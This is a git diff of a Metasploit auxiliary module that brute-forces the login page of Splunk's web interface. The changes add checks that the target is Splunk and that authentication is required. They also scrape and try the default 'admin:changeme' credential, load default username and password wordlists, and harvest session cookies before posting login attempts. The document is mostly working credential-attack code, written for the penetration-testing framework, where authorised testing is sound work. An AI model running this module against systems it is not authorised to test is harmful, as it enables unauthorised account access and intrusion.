diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index c1750a411e..666a5fc0e5 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -1,7 +1,3 @@ -## -# splunk_web_login.rb -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -16,108 +12,155 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute - include Msf::Auxiliary::Scanner - def initialize - super( + def initialize(info={}) + super(update_info(info, 'Name' => 'Splunk Web interface Login Utility', 'Description' => %{ - This module simply attempts to login to a Splunk - web iterface using a specific user/pass. + This module simply attempts to login to a Splunk web interface. Please note the + free version of Splunk actually does not require any authentication, in that case + the module will abort trying. Also, some Splunk applications still have the + default credential 'admin:changeme' written on the login page. If this default + credential is found, the module will also store that information, and then move on + to trying more passwords. }, - 'Author' => [ 'Vlatko Kosturjak ' ], + 'Author' => + [ + 'Vlatko Kosturjak ', + 'sinn3r' + ], 'License' => MSF_LICENSE - ) + )) register_options( [ Opt::RPORT(8000), OptString.new('URI', [true, "URI for Splunk Web login. Default is /en-US/account/login", "/en-US/account/login"]), - OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]), - OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", false]) + OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", + File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]), + OptPath.new('USER_FILE', [ false, "File containing users, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]), + OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ]) ], self.class) end def run_host(ip) - begin - res = send_request_cgi({ - 'uri' => datastore['URI'], - 'method' => 'GET' - }, 25) - http_fingerprint({ :response => res }) - rescue ::Rex::ConnectionError => e - vprint_error("#{msg} #{datastore['URI']} - #{e}") + if not is_app_splunk? + print_error("Application does not appear to be Splunk. Module will not continue.") return end - if not res - vprint_error("#{msg} #{datastore['URI']} - No response") - return - end - if !(res.code == 200) - vprint_error("#{msg} - Expected 200 HTTP code - not Splunk? Got: #{res.code}") - return - end - if res.body !~ /Splunk/ - vprint_error("#{msg} - Expected Splunk page - not Splunk web interface? #{res.body}") + print_status("Checking if authentication is required...") + if not is_auth_required? + print_warning("Application does not require authentication.") return end + status = try_default_credential + return if status == :abort + + print_status("Brute-forcing...") each_user_pass do |user, pass| do_login(user, pass) end end - def do_login(user='admin', pass='changeme') - vprint_status("#{msg} - Trying username:'#{user}' with password:'#{pass}'") - begin - res = send_request_cgi({ - 'uri' => datastore['URI'], - 'method' => 'GET' - }, 25) - # stolen from splunk_mappy_exec.rb - cval = '' - uid = '' - session_id_port = - session_id = '' - if res and res.code == 200 - res.headers['Set-Cookie'].split(';').each {|c| - c.split(',').each {|v| - if v.split('=')[0] =~ /cval/ - cval = v.split('=')[1] - elsif v.split('=')[0] =~ /uid/ - uid = v.split('=')[1] - elsif v.split('=')[0] =~ /session_id/ - session_id_port = v.split('=')[0] - session_id = v.split('=')[1] - end - } + # + # What's the point of running this module if the app actually isn't Splunk? + # + def is_app_splunk? + res = send_request_raw({'uri' => datastore['URI']}) + return (res and res.code == 200 and res.body =~ /Splunk/) + end + + def get_login_cookie + res = send_request_raw({'uri' => datastore['URI']}) + + uid = '' + session_id_port = '' + session_id = '' + cval = '' + + if res and res.code == 200 and res.headers['Set-Cookie'] + res.headers['Set-Cookie'].split(';').each {|c| + c.split(',').each {|v| + if v.split('=')[0] =~ /cval/ + cval = v.split('=')[1] + elsif v.split('=')[0] =~ /uid/ + uid = v.split('=')[1] + elsif v.split('=')[0] =~ /session_id/ + session_id_port = v.split('=')[0] + session_id = v.split('=')[1] + end } - else - print_error("#{msg} Failed to get login cookies, aborting") + } + return uid.strip, session_id_port.strip, session_id.strip, cval.strip + end + + return nil + end + + + # + # Test and see if the default credential works + # + def try_default_credential + p = /Splunk's default credentials are <\/p>

username: (.+)<\/span>
password: (.+)<\/span>/ + res = send_request_raw({'uri' => datastore['URI']}) + user, pass = res.body.scan(p).flatten + do_login(user, pass) if user and pass + end + + + # + # The free version of Splunk does not require authentication. Instead, it'll log the + # user right in as 'admin'. If that's the case, no point to brute-force, either. + # + def is_auth_required? + uid, session_id_port, session_id, cval = get_login_cookie + res = send_request_raw({ + 'uri' => '/en-US/app/launcher/home', + 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}" + }) + + return (res and res.body =~ /Logged in as (.+)/) ? false : true + end + + + # + # Brute-force the login page + # + def do_login(user, pass) + vprint_status("Trying username:'#{user}' with password:'#{pass}'") + begin + cval = '' + uid, session_id_port, session_id, cval = get_login_cookie + if !uid or !session_id_port or !session_id or !cval + print_error("Failed to get login cookies, aborting!") return :abort end res = send_request_cgi( { - 'uri' => datastore['URI'], - 'method' => 'POST', - 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}", + 'uri' => datastore['URI'], + 'method' => 'POST', + 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}", 'vars_post' => { - 'cval' => cval, + 'cval' => cval, 'username' => user, 'password' => pass } - }, 25) + }) if not res or res.code != 303 - vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}") + vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}") return :skip_pass else - print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") report_hash = { :host => datastore['RHOST'], @@ -132,12 +175,9 @@ class Metasploit3 < Msf::Auxiliary return :next_user end rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - print_error("#{msg} HTTP Connection Failed, Aborting") + print_error("HTTP Connection Failed, Aborting") return :abort end end - def msg - "#{vhost}:#{rport} Splunk Web -" - end end